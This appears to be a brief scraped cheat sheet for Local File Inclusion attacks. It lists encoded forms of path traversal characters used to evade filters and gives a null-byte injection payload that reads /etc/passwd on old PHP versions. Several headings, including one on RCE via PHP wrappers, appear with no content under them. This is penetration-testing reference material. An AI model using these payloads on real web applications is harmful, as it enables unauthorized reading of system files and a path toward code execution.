LFI

Cheet Sheet

### Encodings ###

# Url encoded
. = %2e
/ = %2f
\ = %5c

# 16 bit
. = %u002e
/ = %u2215
\ = %u2216

# Double URL
. = %252e
/ = %252f
\ = %255c

# UTF-8
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Null Byte Inyection in PHP versions < 5.3

?page=/etc/passwd%00.php # php extension

Tipical Bypasses

PHP Wrappers

RCE Via Wrappers

Automate

A CLI to generate PHP filters chain, get your RCE without uploading a file if you control entirely the parameter passed to a require or an include in PHP.

Last updated